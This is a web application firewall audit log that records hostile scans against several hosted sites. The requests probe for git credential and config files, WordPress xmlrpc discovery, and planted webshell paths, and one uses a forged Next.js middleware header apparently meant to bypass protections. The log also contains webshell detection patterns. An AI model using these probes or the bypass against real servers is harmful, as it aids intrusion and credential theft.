Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.gitconfig"] [unique_id "aqaVK2M7dE9KgIIOpQh@DQAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.gitconfig"] [unique_id "aqaVK2M7dE9KgIIOpQh@DQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059778098 18858797 (- - -)
Stopwatch2: 1789302059778098 18858797; combined=35019, p1=259, p2=34695, p3=0, p4=0, p5=65, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--de1fad2f-Z--

--6b9e9a1c-A--
[13/Sep/2026:15:21:18.696292 +0300] aqaVK2M7dE9KgIIOpQh@CwAAANg 136.70.168.129 48440 127.0.0.1 7081
--6b9e9a1c-B--
GET /.git-credentials HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6b9e9a1c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://dev.chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6b9e9a1c-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git-credentials"] [unique_id "aqaVK2M7dE9KgIIOpQh@CwAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.git-credentials"] [unique_id "aqaVK2M7dE9KgIIOpQh@CwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059687128 19009227 (- - -)
Stopwatch2: 1789302059687128 19009227; combined=37387, p1=274, p2=37054, p3=0, p4=0, p5=58, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6b9e9a1c-Z--

--d45cc336-A--
[13/Sep/2026:15:21:20.786112 +0300] aqaVK2M7dE9KgIIOpQh@EQAAANQ 136.70.168.129 48504 127.0.0.1 7081
--d45cc336-B--
GET /.git/HEAD HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 136.70.168.129
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d45cc336-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://dev.chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d45cc336-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/HEAD"] [unique_id "aqaVK2M7dE9KgIIOpQh@EQAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302059899039 20887135 (- - -)
Stopwatch2: 1789302059899039 20887135; combined=4255, p1=207, p2=3971, p3=0, p4=0, p5=76, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d45cc336-Z--

--948fdb6e-A--
[13/Sep/2026:15:22:16.132433 +0300] aqaVeGM7dE9KgIIOpQh@RwAAAME 136.69.153.145 35708 127.0.0.1 7081
--948fdb6e-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: mediabuy.ro
X-Real-IP: 136.69.153.145
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--948fdb6e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.3.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--948fdb6e-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "mediabuy.ro"] [uri "/xmlrpc.php"] [unique_id "aqaVeGM7dE9KgIIOpQh@RwAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "mediabuy.ro"] [uri "/xmlrpc.php"] [unique_id "aqaVeGM7dE9KgIIOpQh@RwAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/mediabuy.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302136094372 38174 (- - -)
Stopwatch2: 1789302136094372 38174; combined=15216, p1=11876, p2=3277, p3=0, p4=0, p5=63, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--948fdb6e-Z--

--41fe8631-A--
[13/Sep/2026:15:24:39.539461 +0300] aqaWBmM7dE9KgIIOpQh@VAAAAMY 65.49.20.68 53026 127.0.0.1 7081
--41fe8631-B--
GET /.git/config HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 65.49.20.68
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: */*
Accept-Encoding: gzip

--41fe8631-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-Frame-Options: SAMEORIGIN
Link: <https://www.nuntiinsibiu.ro/wp-json/>; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=in04a5u6hfcj8uidam1q4shbvs; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--41fe8631-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-81-180-250-39"] [uri "/.git/config"] [unique_id "aqaWBmM7dE9KgIIOpQh@VAAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.git/config"] [unique_id "aqaWBmM7dE9KgIIOpQh@VAAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "default-81-180-250-39"] [uri "/.git/config"] [unique_id "aqaWBmM7dE9KgIIOpQh@VAAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302278077484 1462041 (- - -)
Stopwatch2: 1789302278077484 1462041; combined=34293, p1=411, p2=33810, p3=0, p4=0, p5=71, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--41fe8631-Z--

--8f671043-A--
[13/Sep/2026:15:35:40.266979 +0300] aqaYnDTJ6xTvcJoem7f9cwAAAEQ 47.128.26.84 35368 127.0.0.1 7081
--8f671043-B--
GET /img/wso_ufo19.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--8f671043-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Set-Cookie: 646109d53af43c125a937b56d9f339f0key=1b8636ceb612e27532811fe3f8d726a1
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8f671043-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaYnDTJ6xTvcJoem7f9cwAAAEQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaYnDTJ6xTvcJoem7f9cwAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302940221977 45221 (- - -)
Stopwatch2: 1789302940221977 45221; combined=9157, p1=3665, p2=5413, p3=0, p4=0, p5=78, sr=841, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--8f671043-Z--

--6e7fe96b-A--
[13/Sep/2026:15:35:41.170435 +0300] aqaYnSsVWymXUono-eRXBQAAAAw 47.128.26.84 35400 127.0.0.1 7081
--6e7fe96b-B--
GET /img/ufo_fm.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--6e7fe96b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6e7fe96b-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaYnSsVWymXUono-eRXBQAAAAw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaYnSsVWymXUono-eRXBQAAAAw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941010792 159726 (- - -)
Stopwatch2: 1789302941010792 159726; combined=5333, p1=261, p2=4983, p3=0, p4=0, p5=88, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--6e7fe96b-Z--

--3c1dcd77-A--
[13/Sep/2026:15:35:41.172360 +0300] aqaYnWM7dE9KgIIOpQh@kwAAAMM 47.128.26.84 35404 127.0.0.1 7081
--3c1dcd77-B--
GET /img/ufo19_shell_30207.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--3c1dcd77-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3c1dcd77-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@kwAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaYnWM7dE9KgIIOpQh@kwAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789302941109537 62888 (- - -)
Stopwatch2: 1789302941109537 62888; combined=16973, p1=328, p2=16572, p3=0, p4=0, p5=72, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--3c1dcd77-Z--

--f42eaa43-A--
[13/Sep/2026:15:35:41.249715 +0300] aqaYnTTJ6xTvcJoem7f9dAAAAEc 47.128.26.84 35388 127.0.0.1 7081
--f42eaa43-B--
GET /img/ufo19c_20960.php HTTP/1.1
Host: ihelp.ro
X-Real-IP: 47.128.26.84
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)
Accept: image/heif,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: csrfToken=MNpSLpy%2FRppLG9WQXv1c9DI0NmY5YjkyZDQzZWM2ZjU5OGYwZmNjNWYyYTZhMDk1YjlmZDRjYmI%3D
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ihelp.ro/
Accept-Encoding: identity
Range: bytes=0-499

--f42eaa43-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c9370647-1208-4011-bab8-db626fd65e12
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f42eaa43-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
